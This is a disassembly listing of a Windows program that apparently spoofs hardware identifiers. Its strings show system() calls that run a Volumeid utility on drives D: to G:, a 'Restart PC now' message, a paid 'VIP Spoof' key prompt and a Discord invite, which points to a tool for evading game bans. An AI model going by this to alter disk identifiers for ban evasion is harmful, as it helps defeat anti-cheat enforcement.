call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140031667
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031662
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032572
call fcn.140032ed0
mov rdx, qword [rbp - 0x40]
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
cmp rdx, 0xf
jbe 0x1400316b2
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400316ad
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032572
call fcn.140032ed0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x1400316ee
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400316e9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032572
call fcn.140032ed0
mov rdx, qword [rbp + 8]
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
cmp rdx, 0xf
jbe 0x14003173b
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031736
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032572
call fcn.140032ed0
mov rdx, qword [rbp - 0x20]
mov qword [rbp], rdi
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
cmp rdx, 0xf
jbe 0x140031786
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031781
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032572
call fcn.140032ed0
mov edx, r14d
lea rcx, [rbp - 0x38]
call fcn.140032740
mov edx, esi
lea rcx, [rbp + 0x10]
call fcn.140032740
mov rcx, qword [rbp + 0x28]
mov r8, qword [rbp + 0x20]
mov rax, rcx
sub rax, r8
cmp rax, 0x23
jb 0x14003183d
lea rax, [r8 + 0x23]
cmp rcx, 0xf
lea rbx, [rbp + 0x10]
mov qword [rbp + 0x20], rax
cmova rbx, qword [rbp + 0x10]
lea rax, [0x14003f453]
cmp rax, rbx
jbe 0x1400317f3
lea rax, [rbx + r8]
lea rcx, str.cd_C:Program_Files__Volumeid_D:
cmp rcx, rax
ja 0x1400317f3
cmp rbx, rcx
jbe 0x1400317f8
mov rdi, rbx
sub rdi, rcx
jmp 0x1400317f8
mov edi, 0x23
inc r8
lea rcx, [rbx + 0x23]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
lea rdx, str.cd_C:Program_Files__Volumeid_D:
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x23
lea rdx, [0x14003f453]
sub r8, rdi
lea rcx, [rbx + rdi]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x10]
xor edi, edi
jmp 0x140031860
lea rax, str.cd_C:Program_Files__Volumeid_D:
mov qword [rsp + 0x28], 0x23
mov edx, 0x23
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x10]
call fcn.140032c90
mov qword [rsp + 0x78], rdi
lea rdx, [0x14003d9bc]
mov qword [rbp - 0x80], rdi
lea rcx, [rsp + 0x68]
xorps xmm0, xmm0
mov r8d, 1
movups xmmword [rsp + 0x68], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.140032660
lea r9, [rbp - 0x38]
lea r8, [rbp - 0x58]
lea rcx, [rbp - 0x78]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movups xmmword [rbp - 0x58], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp - 0x48], xmm1
mov byte [rax], 0
call fcn.140032a90
cmp qword [rbp - 0x60], 0xf
lea rcx, [rbp - 0x78]
cmova rcx, qword [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140031926
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031921
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032579
call fcn.140032ed0
mov rdx, qword [rbp - 0x40]
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
cmp rdx, 0xf
jbe 0x140031971
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003196c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032579
call fcn.140032ed0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x1400319ad
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400319a8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032579
call fcn.140032ed0
mov rdx, qword [rbp + 0x28]
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
cmp rdx, 0xf
jbe 0x1400319fa
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400319f5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032579
call fcn.140032ed0
mov rdx, qword [rbp - 0x20]
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
cmp rdx, 0xf
jbe 0x140031a45
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031a40
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032579
call fcn.140032ed0
mov edx, r14d
lea rcx, [rbp - 0x38]
call fcn.140032740
mov edx, esi
lea rcx, [rbp + 0x30]
call fcn.140032740
mov rcx, qword [rbp + 0x48]
mov r8, qword [rbp + 0x40]
mov rax, rcx
sub rax, r8
cmp rax, 0x23
jb 0x140031b00
lea rax, [r8 + 0x23]
cmp rcx, 0xf
lea rbx, [rbp + 0x30]
mov qword [rbp + 0x40], rax
cmova rbx, qword [rbp + 0x30]
lea rax, [0x14003f47b]
cmp rax, rbx
jbe 0x140031ab2
lea rax, [rbx + r8]
lea rcx, str.cd_C:Program_Files__Volumeid_E:
cmp rcx, rax
ja 0x140031ab2
cmp rbx, rcx
jbe 0x140031ab7
mov rdi, rbx
sub rdi, rcx
jmp 0x140031ab7
mov edi, 0x23
inc r8
lea rcx, [rbx + 0x23]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
lea rdx, str.cd_C:Program_Files__Volumeid_E:
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.cd_C:Program_Files__Volumeid_E:
mov r8d, 0x23
add rdx, 0x23
lea rcx, [rbx + rdi]
add rdx, rdi
sub r8, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x30]
xor edi, edi
jmp 0x140031b23
lea rax, str.cd_C:Program_Files__Volumeid_E:
mov qword [rsp + 0x28], 0x23
mov edx, 0x23
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x30]
call fcn.140032c90
mov qword [rsp + 0x78], rdi
lea rdx, [0x14003d9bc]
mov qword [rbp - 0x80], rdi
lea rcx, [rsp + 0x68]
xorps xmm0, xmm0
mov r8d, 1
movups xmmword [rsp + 0x68], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.140032660
lea r9, [rbp - 0x38]
lea r8, [rbp - 0x58]
lea rcx, [rbp - 0x78]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movups xmmword [rbp - 0x58], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp - 0x48], xmm1
mov byte [rax], 0
call fcn.140032a90
cmp qword [rbp - 0x60], 0xf
lea rcx, [rbp - 0x78]
cmova rcx, qword [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140031be9
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031be4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032580
call fcn.140032ed0
mov rdx, qword [rbp - 0x40]
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
cmp rdx, 0xf
jbe 0x140031c34
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031c2f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032580
call fcn.140032ed0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140031c70
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031c6b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032580
call fcn.140032ed0
mov rdx, qword [rbp + 0x48]
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
cmp rdx, 0xf
jbe 0x140031cbd
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031cb8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032580
call fcn.140032ed0
mov rdx, qword [rbp - 0x20]
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
cmp rdx, 0xf
jbe 0x140031d08
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031d03
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032580
call fcn.140032ed0
mov edx, r14d
lea rcx, [rbp - 0x38]
call fcn.140032740
mov edx, esi
lea rcx, [rbp + 0x50]
call fcn.140032740
mov rcx, qword [rbp + 0x68]
mov r8, qword [rbp + 0x60]
mov rax, rcx
sub rax, r8
cmp rax, 0x23
jb 0x140031dc3
lea rax, [r8 + 0x23]
cmp rcx, 0xf
lea rbx, [rbp + 0x50]
mov qword [rbp + 0x60], rax
cmova rbx, qword [rbp + 0x50]
lea rax, [0x14003f4a3]
cmp rax, rbx
jbe 0x140031d75
lea rax, [rbx + r8]
lea rcx, str.cd_C:Program_Files__Volumeid_F:
cmp rcx, rax
ja 0x140031d75
cmp rbx, rcx
jbe 0x140031d7a
mov rdi, rbx
sub rdi, rcx
jmp 0x140031d7a
mov edi, 0x23
inc r8
lea rcx, [rbx + 0x23]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
lea rdx, str.cd_C:Program_Files__Volumeid_F:
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.cd_C:Program_Files__Volumeid_F:
mov r8d, 0x23
add rdx, 0x23
lea rcx, [rbx + rdi]
add rdx, rdi
sub r8, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x50]
xor edi, edi
jmp 0x140031de6
lea rax, str.cd_C:Program_Files__Volumeid_F:
mov qword [rsp + 0x28], 0x23
mov edx, 0x23
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x50]
call fcn.140032c90
mov qword [rsp + 0x78], rdi
lea rdx, [0x14003d9bc]
mov qword [rbp - 0x80], rdi
lea rcx, [rsp + 0x68]
xorps xmm0, xmm0
mov r8d, 1
movups xmmword [rsp + 0x68], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.140032660
lea r9, [rbp - 0x38]
lea r8, [rbp - 0x58]
lea rcx, [rbp - 0x78]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movups xmmword [rbp - 0x58], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp - 0x48], xmm1
mov byte [rax], 0
call fcn.140032a90
cmp qword [rbp - 0x60], 0xf
lea rcx, [rbp - 0x78]
cmova rcx, qword [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140031eac
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031ea7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032587
call fcn.140032ed0
mov rdx, qword [rbp - 0x40]
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
cmp rdx, 0xf
jbe 0x140031ef7
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031ef2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032587
call fcn.140032ed0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140031f33
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031f2e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032587
call fcn.140032ed0
mov rdx, qword [rbp + 0x68]
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
cmp rdx, 0xf
jbe 0x140031f80
mov rcx, qword [rbp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031f7b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032587
call fcn.140032ed0
mov rdx, qword [rbp - 0x20]
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
cmp rdx, 0xf
jbe 0x140031fcb
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140031fc6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032587
call fcn.140032ed0
mov edx, r14d
lea rcx, [rbp - 0x38]
call fcn.140032740
mov edx, esi
lea rcx, [rbp + 0x70]
call fcn.140032740
mov rcx, qword [rbp + 0x88]
mov r8, qword [rbp + 0x80]
mov rax, rcx
sub rax, r8
cmp rax, 0x23
jb 0x140032084
lea rax, [r8 + 0x23]
cmp rcx, 0xf
lea rbx, [rbp + 0x70]
mov qword [rbp + 0x80], rax
cmova rbx, qword [rbp + 0x70]
lea rax, [0x14003f4cb]
lea rsi, str.cd_C:Program_Files__Volumeid_G:
cmp rax, rbx
jbe 0x140032041
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x140032041
cmp rbx, rsi
jbe 0x140032046
mov rdi, rbx
sub rdi, rsi
jmp 0x140032046
mov edi, 0x23
inc r8
lea rcx, [rbx + 0x23]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x23
lea rdx, [rsi + 0x23]
sub r8, rdi
lea rcx, [rbx + rdi]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x70]
xor edi, edi
jmp 0x1400320a7
lea rax, str.cd_C:Program_Files__Volumeid_G:
mov qword [rsp + 0x28], 0x23
mov edx, 0x23
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x70]
call fcn.140032c90
mov qword [rsp + 0x78], rdi
lea rdx, [0x14003d9bc]
mov qword [rbp - 0x80], rdi
lea rcx, [rsp + 0x68]
xorps xmm0, xmm0
mov r8d, 1
movups xmmword [rsp + 0x68], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.140032660
lea r9, [rbp - 0x38]
lea r8, [rbp - 0x58]
lea rcx, [rbp - 0x78]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movups xmmword [rbp - 0x58], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp - 0x48], xmm1
mov byte [rax], 0
call fcn.140032a90
cmp qword [rbp - 0x60], 0xf
lea rcx, [rbp - 0x78]
cmova rcx, qword [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14003216d
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032168
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003258e
call fcn.140032ed0
mov rdx, qword [rbp - 0x40]
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
cmp rdx, 0xf
jbe 0x1400321b8
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400321b3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003258e
call fcn.140032ed0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x1400321f4
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400321ef
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003258e
call fcn.140032ed0
mov rdx, qword [rbp + 0x88]
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
cmp rdx, 0xf
jbe 0x140032244
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003223f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003258e
call fcn.140032ed0
mov rdx, qword [rbp - 0x20]
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], 0
cmp rdx, 0xf
jbe 0x140032295
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032290
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003258e
call fcn.140032ed0
mov r9d, 0x40000
lea r8, [0x14003e150]
lea rdx, str.Done__Restart_PC_now
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
movzx esi, byte [rsp + 0x60]
movabs r14, 0x311cdad160000
lea rdx, [rbp + 0xb8]
mov qword [rbp + 0xb8], 0
lea rcx, str.VIP_Spoof
call fcn.140027d30
test al, al
je 0x1400322fe
mov r9d, 0x40040
lea r8, [0x14003e150]
lea rdx, str.NO_KEY_FOUND:_5__in_discord
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rdx, [rbp + 0xc0]
mov qword [rbp + 0xc0], 0
lea rcx, str.Join_Discord
call fcn.140027d30
test al, al
je 0x14003232d
lea rcx, str.start_https:__discord.gg_EuDzczzG
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14000d080
call fcn.140007990
mov rcx, qword [0x140045410]
mov r9d, 3
mov dword [rsp + 0x30], edi
xor r8d, r8d
movss dword [rsp + 0x28], xmm8
xor edx, edx
mov dword [rsp + 0x20], edi
mov rax, qword [rcx]
call qword [rax + 0x158]
mov rcx, qword [0x140045410]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x1400323a6
call fcn.140007dd0
mov rax, qword [0x1400453a0]
mov rcx, rdi
add rax, 0x1d80
cmp byte [rax], 0
cmovne rcx, rax
call fcn.14002ea70
mov rcx, qword [0x140045410]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x140045410]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x140032420
mov rcx, qword [0x140045410]
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0x88760869
jne 0x140032420
call fcn.14002f1e0
mov rcx, qword [0x140045410]
lea rdx, [0x140045420]
mov rax, qword [rcx]
call qword [rax + 0x80]
cmp eax, 0x8876086c
jne 0x14003241b
mov r8d, 0x2d
lea rdx, str.C:UsersFortnDownloadsSpooferSpoofermain.h
lea rcx, [0x14003590c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.14002f050
movabs rbx, 0x7fffffffffffffff
cmp dword [rbp + 0x1b0], 0x12
jne 0x140030f20
call fcn.14002f1e0
mov rcx, qword [0x1400453d8]
test rcx, rcx
je 0x140032455
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1400453d8], rdi
mov rbx, qword [0x1400453a0]
mov rcx, rbx
mov qword [0x1400453f0], rdi
call fcn.140006e60
cmp qword [0x1400453a0], rbx
jne 0x14003247b
mov qword [0x1400453a0], rdi
test rbx, rbx
je 0x1400324a9
mov rcx, rbx
call fcn.1400155b0
mov rax, qword [0x1400453a0]
test rax, rax
je 0x14003249a
dec dword [rax + 0x3bc]
mov rdx, qword [0x140045390]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, qword [0x140045410]
test rcx, rcx
je 0x1400324c2
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140045410], rdi
mov rcx, qword [0x140045408]
test rcx, rcx
je 0x1400324db
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140045408], rdi
mov rcx, r15
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov rax, qword [rbp + 0x1a0]
cmp rax, 0xf
jbe 0x140032533
lea rdx, [rax + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x14003252b
mov r12, qword [r12 - 8]
add rdx, 0x27
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003256b
mov rcx, r12
call fcn.140032ed0
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x14003259a
mov rcx, qword [rbp + 0x140]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032595
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140032595
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140032ed0
movaps xmm9, xmmword [rsp + 0x2f0]
xor eax, eax
movaps xmm8, xmmword [rsp + 0x300]
movaps xmm7, xmmword [rsp + 0x310]
movaps xmm6, xmmword [rsp + 0x320]
mov r14, qword [rsp + 0x330]
mov r13, qword [rsp + 0x370]
mov r12, qword [rsp + 0x368]
mov rsi, qword [rsp + 0x360]
movaps xmm10, xmmword [rsp + 0x2e0]
add rsp, 0x338
pop r15
pop rdi
pop rbx
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [0x140045408]
mov rdx, qword [0x140045410]
test rdx, rdx
je 0x140032627
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x10]
mov rcx, qword [0x140045408]
mov qword [0x140045410], rdi
test rcx, rcx
je 0x140032639
mov rdx, qword [rcx]
call qword [rdx + 0x10]
mov qword [0x140045408], rdi
mov rdx, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, 1
add rsp, 0x338
pop r15
pop rdi
pop rbx
pop rbp
ret